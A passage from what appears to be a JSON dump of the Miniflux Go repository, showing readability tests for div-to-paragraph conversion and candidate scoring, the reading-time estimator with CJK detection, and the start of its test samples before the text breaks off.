doc.Find(\"p\")\n\t\tpCandidate := scoreNode(pSelection)\n\t\texpectedPScore := float32(25) // 0 (p) + 25 (positive class)\n\t\tif pCandidate.score != expectedPScore {\n\t\t\tt.Errorf(\"P score: expected %f, got %f\", expectedPScore, pCandidate.score)\n\t\t}\n\n\t\tspanSelection := doc.Find(\"span\")\n\t\tspanCandidate := scoreNode(spanSelection)\n\t\texpectedSpanScore := float32(0) // 0 (span) + 0 (neutral class)\n\t\tif spanCandidate.score != expectedSpanScore {\n\t\t\tt.Errorf(\"Span score: expected %f, got %f\", expectedSpanScore, spanCandidate.score)\n\t\t}\n\t})\n}\n\nfunc TestTransformMisusedDivsIntoParagraphs(t *testing.T) {\n\ttestCases := []struct {\n\t\tname        string\n\t\tinput       string\n\t\texpected    string\n\t\tdescription string\n\t}{\n\t\t{\n\t\t\tname:        \"div with only text should become paragraph\",\n\t\t\tinput:       `<div>Simple text content</div>`,\n\t\t\texpected:    `<p>Simple text content</p>`,\n\t\t\tdescription: \"div containing only text should be converted to p\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with inline elements should become paragraph\",\n\t\t\tinput:       `<div>Text with <span>inline</span> and <em>emphasis</em></div>`,\n\t\t\texpected:    `<p>Text with <span>inline</span> and <em>emphasis</em></p>`,\n\t\t\tdescription: \"div with inline elements should be converted to p\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with strong and other inline elements\",\n\t\t\tinput:       `<div>Some <strong>bold</strong> and <i>italic</i> text</div>`,\n\t\t\texpected:    `<p>Some <strong>bold</strong> and <i>italic</i> text</p>`,\n\t\t\tdescription: \"div with inline formatting should be converted to p\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with anchor tag should NOT become paragraph\",\n\t\t\tinput:       `<div>Text with <a href=\"#\">link</a></div>`,\n\t\t\texpected:    `<div>Text with <a href=\"#\">link</a></div>`,\n\t\t\tdescription: \"div containing anchor tag should remain div (matches regex)\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with paragraph should NOT become paragraph\",\n\t\t\tinput:       `<div><p>Nested paragraph</p></div>`,\n\t\t\texpected:    `<div><p>Nested paragraph</p></div>`,\n\t\t\tdescription: \"div containing p tag should remain div\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with blockquote should NOT become paragraph\",\n\t\t\tinput:       `<div><blockquote>Quote</blockquote></div>`,\n\t\t\texpected:    `<div><blockquote>Quote</blockquote></div>`,\n\t\t\tdescription: \"div containing blockquote should remain div\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with nested div should NOT become paragraph\",\n\t\t\tinput:       `<div><div>Nested div</div></div>`,\n\t\t\texpected:    `<div><p>Nested div</p></div>`,\n\t\t\tdescription: \"outer div has nested div (matches regex), inner div has text only (gets converted)\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with img should NOT become paragraph\",\n\t\t\tinput:       `<div><img src=\"test.jpg\" alt=\"test\"></div>`,\n\t\t\texpected:    `<div><img src=\"test.jpg\" alt=\"test\"/></div>`,\n\t\t\tdescription: \"div containing img should remain div\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with ol should NOT become paragraph\",\n\t\t\tinput:       `<div><ol><li>Item</li></ol></div>`,\n\t\t\texpected:    `<div><ol><li>Item</li></ol></div>`,\n\t\t\tdescription: \"div containing ol should remain div\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with ul should NOT become paragraph\",\n\t\t\tinput:       `<div><ul><li>Item</li></ul></div>`,\n\t\t\texpected:    `<div><ul><li>Item</li></ul></div>`,\n\t\t\tdescription: \"div containing ul should remain div\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with pre should NOT become paragraph\",\n\t\t\tinput:       `<div><pre>Code block</pre></div>`,\n\t\t\texpected:    `<div><pre>Code block</pre></div>`,\n\t\t\tdescription: \"div containing pre should remain div\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with table should NOT become paragraph\",\n\t\t\tinput:       `<div><table><tr><td>Cell</td></tr></table></div>`,\n\t\t\texpected:    `<div><table><tbody><tr><td>Cell</td></tr></tbody></table></div>`,\n\t\t\tdescription: \"div containing table should remain div (note: GoQuery adds tbody)\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with dl should NOT become paragraph\",\n\t\t\tinput:       `<div><dl><dt>Term</dt><dd>Definition</dd></dl></div>`,\n\t\t\texpected:    `<div><dl><dt>Term</dt><dd>Definition</dd></dl></div>`,\n\t\t\tdescription: \"div containing dl should remain div\",\n\t\t},\n\t\t{\n\t\t\tname:        \"empty div should become paragraph\",\n\t\t\tinput:       `<div></div>`,\n\t\t\texpected:    `<p></p>`,\n\t\t\tdescription: \"empty div should be converted to p\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with only whitespace should become paragraph\",\n\t\t\tinput:       `<div>   </div>`,\n\t\t\texpected:    `<p>   </p>`,\n\t\t\tdescription: \"div with only whitespace should be converted to p\",\n\t\t},\n\t\t{\n\t\t\tname:        \"div with self-closing anchor tag should NOT become paragraph\",\n\t\t\tinput:       `<div>Text <a/> more text</div>`,\n\t\t\texpected:    `<div>Text <a> more text</a></div>`,\n\t\t\tdescription: \"div with self-closing anchor should remain div (note: GoQuery normalizes self-closing tags)\",\n\t\t},\n\t\t{\n\t\t\tname:        \"case insensitive matching - uppercase A\",\n\t\t\tinput:       `<div>Text with <A href=\"#\">link</A></div>`,\n\t\t\texpected:    `<div>Text with <a href=\"#\">link</a></div>`,\n\t\t\tdescription: \"regex should be case insensitive (note: GoQuery normalizes case)\",\n\t\t},\n\t\t{\n\t\t\tname:        \"case insensitive matching - uppercase IMG\",\n\t\t\tinput:       `<div><IMG src=\"test.jpg\"></div>`,\n\t\t\texpected:    `<div><img src=\"test.jpg\"/></div>`,\n\t\t\tdescription: \"regex should be case insensitive (note: GoQuery normalizes case)\",\n\t\t},\n\t\t{\n\t\t\tname:        \"multiple divs transformation\",\n\t\t\tinput:       `<div>Text only</div><div><p>Has paragraph</p></div><div>More text</div>`,\n\t\t\texpected:    `<p>Text only</p><div><p>Has paragraph</p></div><p>More text</p>`,\n\t\t\tdescription: \"should transform multiple divs appropriately\",\n\t\t},\n\t\t{\n\t\t\tname:        \"nested divs where inner gets transformed\",\n\t\t\tinput:       `<div><div>Inner text only</div><p>Paragraph</p></div>`,\n\t\t\texpected:    `<div><p>Inner text only</p><p>Paragraph</p></div>`,\n\t\t\tdescription: \"inner div should be transformed even if outer div isn't\",\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\t// Wrap input in a basic HTML structure\n\t\t\thtml := fmt.Sprintf(`<html><body>%s</body></html>`, tc.input)\n\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Apply the transformation\n\t\t\ttransformMisusedDivsIntoParagraphs(doc)\n\n\t\t\t// Extract the body content\n\t\t\tbodyHtml, err := doc.Find(\"body\").Html()\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to get body HTML: %v\", err)\n\t\t\t}\n\n\t\t\t// Clean up whitespace for comparison\n\t\t\tresult := strings.TrimSpace(bodyHtml)\n\t\t\texpected := strings.TrimSpace(tc.expected)\n\n\t\t\tif result != expected {\n\t\t\t\tt.Errorf(\"%s\\nExpected: %s\\nGot:      %s\", tc.description, expected, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestTransformMisusedDivsIntoParagraphsEdgeCases(t *testing.T) {\n\tt.Run(\"document with no divs\", func(t *testing.T) {\n\t\thtml := `<html><body><p>No divs here</p><span>Just other elements</span></body></html>`\n\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\t// Should not panic or cause issues\n\t\ttransformMisusedDivsIntoParagraphs(doc)\n\n\t\tbodyHtml, _ := doc.Find(\"body\").Html()\n\t\texpected := `<p>No divs here</p><span>Just other elements</span>`\n\n\t\tif strings.TrimSpace(bodyHtml) != expected {\n\t\t\tt.Errorf(\"Expected no changes to document without divs\")\n\t\t}\n\t})\n\n\tt.Run(\"empty document\", func(t *testing.T) {\n\t\thtml := `<html><body></body></html>`\n\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\t// Should not panic with empty document\n\t\ttransformMisusedDivsIntoParagraphs(doc)\n\n\t\tbodyHtml, _ := doc.Find(\"body\").Html()\n\t\tif strings.TrimSpace(bodyHtml) != \"\" {\n\t\t\tt.Errorf(\"Expected empty body to remain empty\")\n\t\t}\n\t})\n\n\tt.Run(\"deeply nested divs\", func(t *testing.T) {\n\t\thtml := `<html><body><div><div><div>Deep text</div></div></div></body></html>`\n\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\ttransformMisusedDivsIntoParagraphs(doc)\n\n\t\tbodyHtml, _ := doc.Find(\"body\").Html()\n\t\t// The outer divs contain other divs (matches regex), so they remain divs\n\t\t// Only the innermost div with just text gets converted to p\n\t\texpected := `<div><div><p>Deep text</p></div></div>`\n\n\t\tif strings.TrimSpace(bodyHtml) != expected {\n\t\t\tt.Errorf(\"Expected nested div transformation\\nGot: %s\\nExpected: %s\", strings.TrimSpace(bodyHtml), expected)\n\t\t}\n\t})\n\n\tt.Run(\"complex mixed content\", func(t *testing.T) {\n\t\thtml := `<html><body>\n\t\t\t<div>Text only div</div>\n\t\t\t<div><a href=\"#\">Link div</a></div>\n\t\t\t<div><span>Inline</span> text</div>\n\t\t\t<div><p>Block element</p></div>\n\t\t</body></html>`\n\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\ttransformMisusedDivsIntoParagraphs(doc)\n\n\t\t// Count paragraphs and divs\n\t\tpCount := doc.Find(\"p\").Length()\n\t\tdivCount := doc.Find(\"div\").Length()\n\n\t\t// Should have 3 paragraphs (original p + 2 converted divs) and 2 divs (link div + block element div)\n\t\texpectedPCount := 3\n\t\texpectedDivCount := 2\n\n\t\tif pCount != expectedPCount {\n\t\t\tt.Errorf(\"Expected %d paragraphs, got %d\", expectedPCount, pCount)\n\t\t}\n\t\tif divCount != expectedDivCount {\n\t\t\tt.Errorf(\"Expected %d divs, got %d\", expectedDivCount, divCount)\n\t\t}\n\t})\n}\n\nfunc TestCandidateString(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\thtml     string\n\t\texpected string\n\t\tsetup    func(*goquery.Document) *candidate\n\t}{\n\t\t{\n\t\t\tname:     \"empty candidate\",\n\t\t\thtml:     `<div></div>`,\n\t\t\texpected: \"empty => 0.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\temptySelection := doc.Find(\"nonexistent\")\n\t\t\t\treturn &candidate{selection: emptySelection, score: 0}\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with no class or id\",\n\t\t\thtml:     `<div>Content</div>`,\n\t\t\texpected: \"div => 5.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with class only\",\n\t\t\thtml:     `<div class=\"content\">Content</div>`,\n\t\t\texpected: \"div.content => 30.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with id only\",\n\t\t\thtml:     `<div id=\"main\">Content</div>`,\n\t\t\texpected: \"div#main => 30.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with both class and id\",\n\t\t\thtml:     `<div class=\"content\" id=\"main\">Content</div>`,\n\t\t\texpected: \"div#main.content => 55.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with multiple classes\",\n\t\t\thtml:     `<div class=\"article main content\">Content</div>`,\n\t\t\texpected: \"div.article main content => 30.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"paragraph candidate with negative class\",\n\t\t\thtml:     `<p class=\"comment\">Comment text</p>`,\n\t\t\texpected: \"p.comment => -25.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"p\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"heading candidate with positive id\",\n\t\t\thtml:     `<h1 id=\"main\">Heading</h1>`,\n\t\t\texpected: \"h1#main => 20.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"h1\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with special characters in class\",\n\t\t\thtml:     `<div class=\"my-class_name\">Content</div>`,\n\t\t\texpected: \"div.my-class_name => 5.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with empty class attribute\",\n\t\t\thtml:     `<div class=\"\">Content</div>`,\n\t\t\texpected: \"div => 5.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"candidate with empty id attribute\",\n\t\t\thtml:     `<div id=\"\">Content</div>`,\n\t\t\texpected: \"div => 5.000000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\treturn scoreNode(selection)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"custom score candidate\",\n\t\t\thtml:     `<span>Content</span>`,\n\t\t\texpected: \"span => 42.500000\",\n\t\t\tsetup: func(doc *goquery.Document) *candidate {\n\t\t\t\tselection := doc.Find(\"span\")\n\t\t\t\tc := scoreNode(selection)\n\t\t\t\tc.score = 42.5 // Override score for testing\n\t\t\t\treturn c\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\tcandidate := tc.setup(doc)\n\t\t\tresult := candidate.String()\n\n\t\t\tif result != tc.expected {\n\t\t\t\tt.Errorf(\"Expected: %s, Got: %s\", tc.expected, result)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestCandidateListString(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\thtml     string\n\t\texpected string\n\t\tsetup    func(*goquery.Document) candidateList\n\t}{\n\t\t{\n\t\t\tname:     \"empty candidate list\",\n\t\t\thtml:     `<div></div>`,\n\t\t\texpected: \"\",\n\t\t\tsetup: func(doc *goquery.Document) candidateList {\n\t\t\t\treturn make(candidateList)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"single candidate\",\n\t\t\thtml:     `<div class=\"content\">Content</div>`,\n\t\t\texpected: \"div.content => 30.000000\",\n\t\t\tsetup: func(doc *goquery.Document) candidateList {\n\t\t\t\tcandidates := make(candidateList)\n\t\t\t\tselection := doc.Find(\"div\")\n\t\t\t\tcandidate := scoreNode(selection)\n\t\t\t\tcandidates[selection.Get(0)] = candidate\n\t\t\t\treturn candidates\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"multiple candidates\",\n\t\t\thtml: `<div class=\"content\">Content</div><p class=\"text\">Paragraph</p><h1 id=\"main\">Title</h1>`,\n\t\t\tsetup: func(doc *goquery.Document) candidateList {\n\t\t\t\tcandidates := make(candidateList)\n\n\t\t\t\tdivSelection := doc.Find(\"div\")\n\t\t\t\tdivCandidate := scoreNode(divSelection)\n\t\t\t\tcandidates[divSelection.Get(0)] = divCandidate\n\n\t\t\t\tpSelection := doc.Find(\"p\")\n\t\t\t\tpCandidate := scoreNode(pSelection)\n\t\t\t\tcandidates[pSelection.Get(0)] = pCandidate\n\n\t\t\t\th1Selection := doc.Find(\"h1\")\n\t\t\t\th1Candidate := scoreNode(h1Selection)\n\t\t\t\tcandidates[h1Selection.Get(0)] = h1Candidate\n\n\t\t\t\treturn candidates\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"candidates with mixed scores\",\n\t\t\thtml: `<div class=\"comment\">Comment</div><p class=\"content\">Good content</p>`,\n\t\t\tsetup: func(doc *goquery.Document) candidateList {\n\t\t\t\tcandidates := make(candidateList)\n\n\t\t\t\tdivSelection := doc.Find(\"div\")\n\t\t\t\tdivCandidate := scoreNode(divSelection)\n\t\t\t\tcandidates[divSelection.Get(0)] = divCandidate\n\n\t\t\t\tpSelection := doc.Find(\"p\")\n\t\t\t\tpCandidate := scoreNode(pSelection)\n\t\t\t\tcandidates[pSelection.Get(0)] = pCandidate\n\n\t\t\t\treturn candidates\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"candidate with empty selection\",\n\t\t\thtml: `<div>Test</div>`,\n\t\t\tsetup: func(doc *goquery.Document) candidateList {\n\t\t\t\tcandidates := make(candidateList)\n\n\t\t\t\t// Add a regular candidate\n\t\t\t\tdivSelection := doc.Find(\"div\")\n\t\t\t\tdivCandidate := scoreNode(divSelection)\n\t\t\t\tcandidates[divSelection.Get(0)] = divCandidate\n\n\t\t\t\t// Add a candidate with empty selection (this is artificial but tests the edge case)\n\t\t\t\temptySelection := doc.Find(\"nonexistent\")\n\t\t\t\temptyCandidate := &candidate{selection: emptySelection, score: 0}\n\t\t\t\t// We can't use emptySelection.Get(0) as key since it would panic,\n\t\t\t\t// so we'll create a dummy node for this test\n\t\t\t\tdummyNode := &html.Node{Type: html.ElementNode, Data: \"dummy\"}\n\t\t\t\tcandidates[dummyNode] = emptyCandidate\n\n\t\t\t\treturn candidates\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(tc.html))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"Failed to parse HTML: %v\", err)\n\t\t\t}\n\n\t\t\tcandidates := tc.setup(doc)\n\t\t\tresult := candidates.String()\n\n\t\t\tif tc.name == \"empty candidate list\" {\n\t\t\t\tif result != tc.expected {\n\t\t\t\t\tt.Errorf(\"Expected: %s, Got: %s\", tc.expected, result)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// For multiple candidates, we need to check that all expected parts are present\n\t\t\t// since map iteration order is not guaranteed\n\t\t\tswitch tc.name {\n\t\t\tcase \"multiple candidates\":\n\t\t\t\texpectedParts := []string{\"div.content => 30.000000\", \"p.text => 25.000000\", \"h1#main => 20.000000\"}\n\t\t\t\tfor _, part := range expectedParts {\n\t\t\t\t\tif !strings.Contains(result, part) {\n\t\t\t\t\t\tt.Errorf(\"Expected result to contain: %s, Got: %s\", part, result)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Check that it's comma-separated\n\t\t\t\tif !strings.Contains(result, \", \") {\n\t\t\t\t\tt.Errorf(\"Expected comma-separated format, Got: %s\", result)\n\t\t\t\t}\n\t\t\tcase \"candidates with mixed scores\":\n\t\t\t\texpectedParts := []string{\"div.comment => -20.000000\", \"p.content => 25.000000\"}\n\t\t\t\tfor _, part := range expectedParts {\n\t\t\t\t\tif !strings.Contains(result, part) {\n\t\t\t\t\t\tt.Errorf(\"Expected result to contain: %s, Got: %s\", part, result)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase \"candidate with empty selection\":\n\t\t\t\t// Should contain both the regular candidate and the empty one\n\t\t\t\tif !strings.Contains(result, \"div => 5.000000\") {\n\t\t\t\t\tt.Errorf(\"Expected result to contain div candidate, Got: %s\", result)\n\t\t\t\t}\n\t\t\t\tif !strings.Contains(result, \"empty => 0.000000\") {\n\t\t\t\t\tt.Errorf(\"Expected result to contain empty candidate, Got: %s\", result)\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\t// Single candidate test cases\n\t\t\t\tif result != tc.expected {\n\t\t\t\t\tt.Errorf(\"Expected: %s, Got: %s\", tc.expected, result)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestCandidateStringEdgeCases(t *testing.T) {\n\tt.Run(\"candidate with nil node but valid selection\", func(t *testing.T) {\n\t\t// This tests the case where Node() returns nil but selection exists\n\t\thtml := `<div>Test</div>`\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\temptySelection := doc.Find(\"nonexistent\")\n\t\tcandidate := &candidate{\n\t\t\tselection: emptySelection,\n\t\t\tscore:     10.5,\n\t\t}\n\n\t\tresult := candidate.String()\n\t\texpected := \"empty => 10.500000\"\n\n\t\tif result != expected {\n\t\t\tt.Errorf(\"Expected: %s, Got: %s\", expected, result)\n\t\t}\n\t})\n\n\tt.Run(\"candidate with zero score\", func(t *testing.T) {\n\t\thtml := `<div>Test</div>`\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\tselection := doc.Find(\"div\")\n\t\tcandidate := &candidate{\n\t\t\tselection: selection,\n\t\t\tscore:     0,\n\t\t}\n\n\t\tresult := candidate.String()\n\t\texpected := \"div => 0.000000\"\n\n\t\tif result != expected {\n\t\t\tt.Errorf(\"Expected: %s, Got: %s\", expected, result)\n\t\t}\n\t})\n\n\tt.Run(\"candidate with negative score\", func(t *testing.T) {\n\t\thtml := `<h1>Test</h1>`\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\tselection := doc.Find(\"h1\")\n\t\tcandidate := &candidate{\n\t\t\tselection: selection,\n\t\t\tscore:     -10.5,\n\t\t}\n\n\t\tresult := candidate.String()\n\t\texpected := \"h1 => -10.500000\"\n\n\t\tif result != expected {\n\t\t\tt.Errorf(\"Expected: %s, Got: %s\", expected, result)\n\t\t}\n\t})\n\n\tt.Run(\"candidate with very long class and id\", func(t *testing.T) {\n\t\thtml := `<div class=\"very-long-class-name-that-might-cause-issues\" id=\"very-long-id-name-that-might-also-cause-formatting-issues\">Test</div>`\n\t\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\tselection := doc.Find(\"div\")\n\t\tcandidate := scoreNode(selection)\n\n\t\tresult := candidate.String()\n\t\texpected := \"div#very-long-id-name-that-might-also-cause-formatting-issues.very-long-class-name-that-might-cause-issues => 5.000000\"\n\n\t\tif result != expected {\n\t\t\tt.Errorf(\"Expected: %s, Got: %s\", expected, result)\n\t\t}\n\t})\n}\n\nfunc TestExtractContentWithBrokenReader(t *testing.T) {\n\tif _, _, err := ExtractContent(&brokenReader{}); err == nil {\n\t\tt.Error(\"Expected ExtractContent to return an error with broken reader\")\n\t}\n}\n\n// brokenReader implements io.Reader but always returns an error\ntype brokenReader struct{}\n\nfunc (br *brokenReader) Read(p []byte) (n int, err error) {\n\treturn 0, errors.New(\"simulated read error\")\n}\n"
  },
  {
    "path": "internal/reader/readingtime/readingtime.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n// Package readingtime provides a function to estimate the reading time of an article.\npackage readingtime\n\nimport (\n\t\"math\"\n\t\"strings\"\n\t\"unicode\"\n\t\"unicode/utf8\"\n\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n)\n\n// EstimateReadingTime returns the estimated reading time of an article in minute.\nfunc EstimateReadingTime(content string, defaultReadingSpeed, cjkReadingSpeed int) int {\n\tsanitizedContent := sanitizer.StripTags(content)\n\ttruncationPoint := min(len(sanitizedContent), 50)\n\n\tif isCJK(sanitizedContent[:truncationPoint]) {\n\t\treturn int(math.Ceil(float64(utf8.RuneCountInString(sanitizedContent)) / float64(cjkReadingSpeed)))\n\t}\n\treturn int(math.Ceil(float64(len(strings.Fields(sanitizedContent))) / float64(defaultReadingSpeed)))\n}\n\nfunc isCJK(text string) bool {\n\ttotalCJK := 0\n\n\tfor _, r := range text[:min(len(text), 50)] {\n\t\tif unicode.Is(unicode.Han, r) ||\n\t\t\tunicode.Is(unicode.Hangul, r) ||\n\t\t\tunicode.Is(unicode.Hiragana, r) ||\n\t\t\tunicode.Is(unicode.Katakana, r) ||\n\t\t\tunicode.Is(unicode.Yi, r) ||\n\t\t\tunicode.Is(unicode.Bopomofo, r) {\n\t\t\ttotalCJK++\n\t\t}\n\t}\n\n\t// if at least 50% of the text is CJK, odds are that the text is in CJK.\n\treturn totalCJK > len(text)/50\n}\n"
  },
  {
    "path": "internal/reader/readingtime/readingtime_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage readingtime\n\nimport \"testing\"\n\nvar samples = map[string]string{\n\t\"shortenglish\": `This is a short paragraph in english, less than 250 chars.`,\n\t\"shortchinese\": ` 労問委格名町違載式新青脂通由。割止書円画民京般著治登門画拡下。有国同観教田美森素説砂者徴多。上治速相支存色分繰年活元事集遣逆山`,\n\t\"english\": `\n\tIn turpis lacus, sollicitudin non accumsan sed, suscipit eget magna. Morbi id\n\tneque enim. Aenean ac lacus consectetur, accumsan elit ac, suscipit dui. Donec\n\tcongue mi et nisl bibendum, venenatis fringilla orci tristique. Nullam ullamcorper\n\tcursus justo, ac iaculis ante euismod a. Fusce dapibus lacus arcu, consectetur\n\tporttitor odio finibus ac. Integer dictum faucibus egestas. Etiam magna diam, placerat\n\tsed velit vitae, lobortis accumsan nisi. Sed viverra dui in odio commodo dapibus.\n\tSed pulvinar metus finibus, hendrerit diam eu, faucibus lectus. Mauris est tellus,\n\tconvallis et velit sit amet, convallis sagittis nunc. Quisque at ex leo. Donec eget leo\n\tvel nibh porta molestie. Aenean pellentesque purus non laoreet aliquam.\n\n\tIn feugiat eget arcu nec sodales. Nunc rutrum felis in tellus venenatis, sit\n\tamet tincidunt augue varius. Nunc nec dignissim quam. In euismod gravida rhoncus.\n\tVivamus eget nibh sed diam malesuada facilisis. Donec ac convallis elit. Fusce\n\tfermentum tincidunt est. Nunc viverra, eros in gravida convallis, ex augue vehicula\n\tmagna, sed tincidunt metus sem et mauris. In pretium purus odio, a auctor tellus\n\tornare vel. Donec ac dolor pulvinar, placerat elit eget, ultrices nisi. Donec\n\ttincidunt magna eget pretium sodales. In urna lorem, consectetur in fringilla eget,\n\trutrum et erat. Proin fringilla, lectus eget commodo consequat, est massa lacinia\n\tlorem, ut ultricies nunc erat id sapien.\n\n\tLorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce fermentum id\n\tsem sed commodo. Ut eget mauris eu lectus mollis aliquam. Fusce convallis, quam\n\tvel volutpat aliquet, nunc sem rhoncus magna, a iaculis enim ex nec neque.\n\tSuspendisse vel imperdiet leo. Quisque ultrices semper commodo. Pellentesque nec libero et\n\tmauris gravida porta vitae id nunc. Fusce sed sem sed augue gravida ultricies at nec\n\tturpis. Sed semper eu urna sit amet malesuada. Suspendisse blandit condimentum elit,\n\tin scelerisque tellus convallis eu. Nunc eleifend sem et mauris vestibulum\n\tmattis. Praesent ultricies pellentesque eros non posuere.\n\t`,\n\t\"chinese\": 